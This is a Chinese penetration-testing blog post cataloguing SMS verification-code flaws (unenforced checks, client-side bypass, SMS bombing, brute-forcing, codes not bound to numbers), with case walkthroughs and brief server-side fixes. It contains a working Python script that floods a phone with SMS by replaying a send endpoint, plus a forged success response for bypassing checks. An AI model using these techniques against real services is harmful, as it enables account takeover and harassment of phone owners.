专栏首页Bypass【渗透技巧】手机验证码常见漏洞总结

【渗透技巧】手机验证码常见漏洞总结

0X00 前言

  手机验证码在web应用中得到越来越多的应用,通常在用户登陆,用户注册,密码重置等业务模块用手机验证码进行身份验证。针对手机验证码可能存在的问题,收集了一些手机验证码漏洞的案例,这里做一个归纳总结,在测试中,让自己的思路更加明确。常见的手机验证码漏洞如下:

1、无效验证

2、客户端验证绕过

3、短信轰炸

4、验证码爆破

5、验证码与手机号未绑定

0X01 无效验证

  有验证码模块,但验证模块与业务功能没有关联性,此为无效验证,一般在新上线的系统中比较常见。

案例一:

  获取短信验证码后,随意输入验证码,直接输入两次密码,可成功更改用户密码,没有对短信验证码进行验证,可能导致CSRF等问题。

案例二:任意用户注册

  第一步,利用自己的手机号接收验证码进行验证,下一步跳转到一个设定密码的页面

  第二步,抓包,篡改手机号,使用任意手机号进行注册

问题剖析:业务一致性存在安全隐患,身份验证与密码修改过程分开,验证无效。

0X02 客户端验证绕过

  客户端验证是不安全的,可能导致任意账号注册、登录及重置任意用户密码等一系列问题。

案例一:直接返回明文验证码

  点击获取收集验证码,监听到两条json数据,可以发现验证码就藏在ticket里面,输入9360即可登陆成功。

案例二:返回密文验证码

  验证加密后返回客户端,用户解密即可获取验证码。

案例三:拦截替换返回包

  第一步,使用正常账号修改密码,获取验证码通过时服务器返回数据,保存该信息

  第二步,使用fiddler下断,之后点击确定,服务器会返回验证码错误之类的信息,使用{"MessageHeader":{"MessageID":"RSP036","ErrorCode":"S000","Description":"成功!"}}此信息进行替换后再执行,密码修改成功。

问题剖析:常见于APP等客户端软件,通过拦截替换返回信息,绕过客户端本地验证。

0X03 短信轰炸

  短信轰炸是手机验证码漏洞中最常见的一种漏洞类型。

  在测试的过程中,对短信验证码接口进行重放,导致大量发送恶意短信。

案例一:无限制,任意下发

案例二:有一定时间间隔,无限下发

  每隔60秒可下发一条短信,无限下发,短信轰炸。在测试过程中,可通过编写Python脚本来计算短信下发时间间隔,实现短信轰炸。

#coding=utf-8
import json
import requests
import time
start_time = time.time()
count =input("Please input counts:")
phone =raw_input("Please inut your phone:")
i=0
while (i<count):
    url= "http://xxxx.cn:9092/map/GenerationUpdate"
    data=json.dumps({"headerInfo": { "functionCode": "randomcode4G"},"requestContent":{"phoneNumber":phone}})
    header = { 'User-Agent' : 'Mozilla/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit/602.4.6 (KHTML, like Gecko) Version/10.0 Mobile/14D27 Safari/602.1''Host': 'xxxx.com:9092',
        }  
    r = requests.post(url, data=data,headers=header,timeout=5)
    result=r.content
    if result.count('serviceCode":0'):
        print 'Sending message : %d seconds ' % (time.time()-start_time)
    i=i+1
    #print 'send %s time'%(i)

0X04 验证码爆破

  短信验证码一般由4位或6位数字组成,若服务端未对验证时间、次数进行限制,则存在被爆破的可能。

  输入手机号获取验证码,输入任意短信验证码,发起请求,抓包,将短信验证码字段设置成payloads取值范围为000000-999999进行暴力破解,根据返回响应包长度判断是否爆破成功。

0X05 验证码与手机号未绑定

  一般来说短信验证码仅能使用一次,验证码和手机号未绑定,验证码一段时期内有效,那么就可能出现如下情况:

  1、A手机的验证码,B可以拿来用

  2、A手机在一定时间间隔内接到两个验证码,都可以用。

案例一:任意用户密码重置

  1.使用自己手机号收取验证码

  2.自己的验证码和对方的手机号填上,下一步城管设置新密码

解决方案:

  1.在服务器进行有效验证,手机号和验证码在服务器进行唯一性绑定验证。

  2.在服务端限制验证码发送周期,设置时效,限制次数。

喜欢这篇文章的人也喜欢 · · · · · ·

【WAF绕过】Bypass ngx_lua_waf SQL注入防御(多姿势)

【代码审计】SQL二次编码注入漏洞实例(附tamper脚本)

【代码审计】MIPCMS 远程写入配置文件Getshell

【代码审计】CLTPHP_v5.5.3前台XML外部实体注入漏洞

Bypass

About Me

一个网络安全爱好者,对技术有着偏执狂一样的追求。致力于分享原创高质量干货,包括但不限于:渗透测试、WAF绕过、代码审计、安全运维。

文章分享自微信公众号:
Bypass

本文参与 腾讯云自媒体分享计划 ,欢迎热爱写作的你一起参与!

作者:Bypass
原始发表时间:2018-05-11
如有侵权,请联系 cloudcommunity@tencent.com 删除。
登录 后参与评论
0 条评论

相关文章

  • 手机验证码常见漏洞 总结 任意用户密码重置

      手机验证码在web应用中得到越来越多的应用,通常在用户登陆,用户注册,密码重置等业务模块用手机验证码进行身份验证。针对手机验证码可能存在的问题,收集了一些手...

    C4rpeDime
  • 突破封闭 Web 系统的技巧之正面冲锋

    在互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试时,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类的一个 Web 登录界面...

    企鹅号小编
  • 突破封闭 Web 系统的技巧之正面冲锋

    在互联网安全服务公司乙方工作的人或者进行 SRC 众测等相关渗透测试时,经常碰到客户只给一个 "xxx信息管理系统"、"xxx平台"之类的一个 Web 登录界面...

    信安之路
  • 登录注册表单渗透

    大家在甲方授权的渗透测试中,经常会遇到各种表单:登录、注册、密码修改、密码找回等表单,本技术稿着重介绍关于各种表单的渗透经验,抛砖引玉,欢迎大家交流互动。

    FB客服
  • 如何对网站登录进行漏洞测试以及漏洞修复

    从业渗透测试服务已经有十几年了,在对客户网站进行漏洞检测,安全渗透时,尤其网站用户登录功能上发现的漏洞很多,想总结一下在渗透测试过程中,网站登录功能上都存在哪些...

    网站安全专家
  • 谈谈网站登录功能的渗透测试与漏洞修复办法

    从业渗透测试服务已经有十几年了,在对客户网站进行漏洞检测,安全渗透时,尤其网站用户登录功能上发现的漏洞很多,想总结一下在渗透测试过程中,网站登录功能上都存在哪些...

    技术分享达人
  • 登陆页面渗透测试常见的几种思路与总结

    我们在进行渗透测试的时候,常常会遇到许多网站站点,而有的网站仅仅是基于一个登陆接口进行处理的。尤其是在内网环境的渗透测试中,客户常常丢给你一个登陆网站页面,没有...

    HACK学习
  • 实战 | 记两个实战中遇见的逻辑漏洞

    http://***.test.com.cn/*/forgetPassword.html

    用户5878089
  • 金融行业平台常见安全漏洞与防御

    ? 一、前言 互联网金融是这两年来在金融界的新兴名词,也是互联网行业一个重要的分支,但互联网金融不是互联网和金融业的简单结合,而是在实现安全、移动等网络技术水...

    FB客服
  • [ffffffff0x] 浅谈web安全之逻辑漏洞

    实战渗透测试中,web的攻防一直是重中之重,而无论是对于富有经验的老手黑客和新手脚本小子来说,相比 SQL 注入、XSS 漏洞等传统安全漏洞,逻辑漏洞都是最具价...

    r0fus0d
  • 实战 | 记两个实战中遇见的逻辑漏洞

    http://***.test.com.cn/*/forgetPassword.html

    天钧
  • 实战 | 记两个实战中遇见的逻辑漏洞

    http://***.test.com.cn/*/forgetPassword.html

    7089bAt@PowerLi
  • 企业安全体系建设之路之Web安全篇

    目前的网络攻击主要还是以WEB攻击为主流,毕竟这是与外界沟通获取知识和了解世界的主要桥梁。

    HACK学习
  • 渗透测试驻场面试真实经验分享

    最近接到一个渗透测试驻场项目。几位同事去面试了下,下面对面试的问题进行一个汇总。

    Khan安全团队
  • 从外网到内网的渗透姿势分享

    现在这段时间是全员 hw 时期,刚好前几天也有幸参与了某个地方的 hw 行动,作为攻击方,这里就简单总结一下最近挖洞的思路吧。因为可能怕涉及到敏感的东西,这里就...

    HACK学习
  • 代码审计 | 利用思维导图快速读懂框架和理清思路

    html/javascript/dom元素使用,主要是为了挖掘xss漏洞,jquery 主要写一些涉及到CSRF脚本使用的或者DOM型XSS,JSON劫持等

    HACK学习
  • BurpSuite的简单使用

    burpsuite默认设置了代理 127.0.0.1:8080如果端口冲突可以修改成其他的。注: 浏览器中配置代理时,端口必须 burpsuite配置中的一样。...

    安恒网络空间安全讲武堂
  • SRC漏洞挖掘实用技巧

    关键词可以根据实际情况进行调整,推荐Google、Bing,搜索内容如果被删除,网页快照一般仍会有记录。

    tinyfisher
  • 网站安全检测 针对于手机短信轰炸漏洞的检测与修复办法

    很多公司网站的被攻击,被篡改,都是存在着网站漏洞隐患的,也有很多客户找到我们SINE安全公司,对自己公司网站进行渗透测试服务,以及网站的安全检测,漏洞检测整体的...

    网站安全专家

扫码关注腾讯云开发者

领取腾讯云代金券